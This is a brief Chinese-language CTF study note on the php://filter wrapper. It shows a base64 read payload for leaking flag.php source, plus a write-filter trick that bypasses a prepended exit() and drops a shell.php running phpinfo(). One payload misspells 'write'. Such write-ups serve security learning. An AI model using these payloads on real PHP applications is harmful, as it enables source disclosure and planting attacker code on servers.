理解php://filter
开始做一些简单的web题目,遇到的第一个题目[ACTF2020 新生赛]Include
1就是php://filter,结果没有做出来上网查了wp发现是这样一道题目就上网查了一下原理简单理解如下:
php文件内部分内容类似于注释等内容无法在界面中展示出来,使用php://filter可以实现文件的取,另外如果直接读取文件也同样无法读取全部内容,因此使用base64加密的方式将全部内容输出出来
具体命令如下:
file=php://filter/read=convert.base64-encode/resource=flag.php
内容输出后为base64编码,通过编码转换即可得到结果
深入学习filter这个协议后发现还有更深入的用法类似
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
.=为字符串拼接使用,在’<?php exit; ?>'后所有代码均不执行,因为提前有了个exit的动作。可以通过上传代码绕过该命令。使用file=php://filter/write=convert.base64-decode/resource=flag.php
txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==;filename=php://filter/wirte=convert.base64-decode/resource=shell.php